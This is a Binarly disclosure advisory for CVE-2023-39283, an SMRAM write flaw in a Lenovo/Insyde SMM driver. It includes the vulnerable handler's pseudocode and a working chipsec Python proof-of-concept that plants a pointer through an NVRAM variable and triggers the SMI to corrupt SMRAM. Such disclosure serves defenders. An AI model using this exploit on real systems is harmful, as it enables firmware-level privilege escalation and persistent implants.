Header bannerHeader banner

[BRLY-2023-004] SMM memory corruption vulnerability in SMM driver (SMRAM write).

March 7, 2024

Summary

BINARLY efiXplorer team identified an SMM memory corruption vulnerability allowing a possible attacker to write fixed or predictable data to SMRAM. Exploiting this issue could lead to escalating privileges to SMM.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-004
  • Lenovo PSIRT assigned CVE identifier: CVE-2023-39283
  • CVSS v3.1 8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Intel firmwares with confirmed impact by Binarly team

Device/Firmware File Name SHA256 (File PE32 section) File GUID
J1CN38WW CsmInt10HookSmm ec6d14c1add3a9175cd5bb85d52edf245e8c1d1a035e11a30dccf066aaf68f22 d8803829-0373-4475-9767-461edea28813

Potential impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability could potentially be used by threat actors to influence the early boot process of the operating system.

Vulnerability description

The vulnerable SMI handler located at offset 0x1D74 (SwSmiInputValue = 0x74). The pseudocode of vulnerable handler is presented below:

__int64 __fastcall SwSmiHandler(
        EFI_HANDLE DispatchHandle,
        const void *Context,
        void *CommBuffer,
        UINTN *CommBufferSize)
{
  __int64 result;
  UINTN CpuIndex;
  bool CpuIndexNotFound;
  BIOS_VIDEO_DEV_SIMPLE *LocalModeData;
  int VbeModeNumber;
  __int64 i;
  BIOS_VIDEO_SIMPLE_MODE_DATA *SimpleModeData;
  BIOS_VIDEO_SIMPLE_MODE_DATA *ModeData;
  __int64 Index;
  UINTN FrameBufferSize;
  int _Rax;
  int _Rdx;
  int _Rbx;
  EFI_SMM_CPU_PROTOCOL *EfiSmmCpuProtocol;
  __int64 DataSize;
  BIOS_VIDEO_DEV_SIMPLE *Int10HookPrivateDataVariable;

  EfiSmmCpuProtocol = 0;
  _Rax = 0;
  _Rbx = 0;
  _Rdx = 0;
  result = gSmst_0->SmmLocateProtocol(&EFI_SMM_CPU_PROTOCOL_GUID, 0, &EfiSmmCpuProtocol);
  if ( result >= 0 )
  {
    CpuIndex = 0;
    CpuIndexNotFound = gSmst_0->NumberOfCpus == 0;
    if ( gSmst_0->NumberOfCpus )
    {
      while ( 1 )
      {
        EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RAX, CpuIndex, &_Rax);
        EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RDX, CpuIndex, &_Rdx);
        if ( _Rax == 0x74 && _Rdx == 0xB2 )
          break;
        CpuIndexNotFound = ++CpuIndex == gSmst_0->NumberOfCpus;
        if ( CpuIndex >= gSmst_0->NumberOfCpus )
          goto _Exit;
      }
      EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &_Rbx);
      CpuIndexNotFound = CpuIndex == gSmst_0->NumberOfCpus;
    }
_Exit:
    if ( CpuIndexNotFound )
      return EFI_NOT_FOUND;
    LocalModeData = gVideoDevSimple;
    VbeModeNumber = _Rbx & 0x1FF;
    if ( !gVideoDevSimple )
    {
      DataSize = 8;
      if ( CommonGetInt10HookPrivateDataVariable() < 0 )
        return 0;
      LocalModeData = Int10HookPrivateDataVariable;
      gVideoDevSimple = Int10HookPrivateDataVariable;
    }
    i = 0;
    SimpleModeData = LocalModeData->SimpleModeData;
    if ( LocalModeData->MaxMode )
    {
      for ( ModeData = LocalModeData->SimpleModeData;
            LOWORD(ModeData->VbeModeNumber) != VbeModeNumber || ModeData->FrameBufferSize <= 0x800000;
            ++ModeData )
      {
        if ( ++i >= LocalModeData->MaxMode )
          return 0;
      }
      Index = i;
      FrameBufferSize = SimpleModeData[Index].FrameBufferSize;
      if ( FrameBufferSize )
        ZeroMem(SimpleModeData[Index].LinearFrameBuffer, FrameBufferSize); // SimpleModeData[Index].LinearFrameBuffer is attacker controlled
    }
    return 0;
  }
  return result;
}

SimpleModeData[Index].LinearFrameBuffer pointer is controllable by a potential attacker. It can be specified via buffer pointed by the contents of NVRAM variable Int10HookPrivateDataVariable {80469736-6678-4857-ab14-cfdbda3f4872}.

The pointer SimpleModeData[Index].LinearFrameBuffer is not validated to make sure the pointed buffer is not overlapping SMRAM. In this way, a potential attacker could corrupt the SMRAM.

The limitation for exploitation is that attacker cannot write <= 0x800000 bytes.

A more detailed process for crafting inputs for exploitation is shown in the following script:

import ctypes
import struct
import hexdump
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)

SMRAM = cs.cpu.get_SMRAM()[0]
SMI_NUM = 0x74


# BIOS_VIDEO_SIMPLE_MODE_DATA
class BiosVideoSimpleModeData(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("VbeModeNumber", ctypes.c_uint64),
        ("LinearFrameBuffer", ctypes.c_uint64),
        ("FrameBufferSize", ctypes.c_uint64),
    ]


# BIOS_VIDEO_DEV_SIMPLE
class BiosVideoDevSimple(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("MaxMode", ctypes.c_uint64),
        ("SimpleModeData", ctypes.c_uint64),
    ]


def main():
    print(f"SMRAM: {SMRAM:#x}")

    rbx = 0x1337
    vbe_mode_number = rbx & 0x1FF

    bios_video_dev_simple_buffer_address = (
        0x419AAF98 + 0x1000  # any writable address in physical memory
    )
    # write address to variable
    uefi.set_EFI_variable(
        "Int10HookPrivateDataVariable",
        "80469736-6678-4857-ab14-cfdbda3f4872",
        struct.pack("<Q", bios_video_dev_simple_buffer_address),
        8,
    )

    bios_video_dev_simple_buffer = BiosVideoDevSimple()
    bios_video_dev_simple_buffer.MaxMode = 1
    bios_video_dev_simple_buffer.SimpleModeData = (
        bios_video_dev_simple_buffer_address + 0x1000  # any writable address in physical memory
    )
    cs.helper.write_physical_mem(
        bios_video_dev_simple_buffer_address,
        len(bytes(bios_video_dev_simple_buffer)),
        bytes(bios_video_dev_simple_buffer),
    )

    bios_video_dev_simple_mode_data = BiosVideoSimpleModeData()
    bios_video_dev_simple_mode_data.VbeModeNumber = vbe_mode_number
    bios_video_dev_simple_mode_data.LinearFrameBuffer = SMRAM
    bios_video_dev_simple_mode_data.FrameBufferSize = 0x900000

    cs.helper.write_physical_mem(
        bios_video_dev_simple_buffer.SimpleModeData,
        len(bytes(bios_video_dev_simple_mode_data)),
        bytes(bios_video_dev_simple_mode_data),
    )

    rax = 0x74
    rdx = 0xB2
    intr.send_SW_SMI(0, SMI_NUM, 0, rax, rbx, 0, rdx, 0, 0)

    hexdump.hexdump(
        cs.helper.read_physical_mem(bios_video_dev_simple_buffer_address, 16)
    )
    hexdump.hexdump(
        cs.helper.read_physical_mem(bios_video_dev_simple_buffer.SimpleModeData, 24)
    )


if __name__ == "__main__":
    main()

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Insyde/Lenovo PSIRT is notified 2023-06-23
Insyde/Lenovo PSIRT assigned CVE number 2023-09-15
Insyde/Lenovo PSIRT provide patch release 2023-10-31
BINARLY public disclosure date 2024-03-07

Acknowledgements

BINARLY efiXplorer team

Tags
Lenovo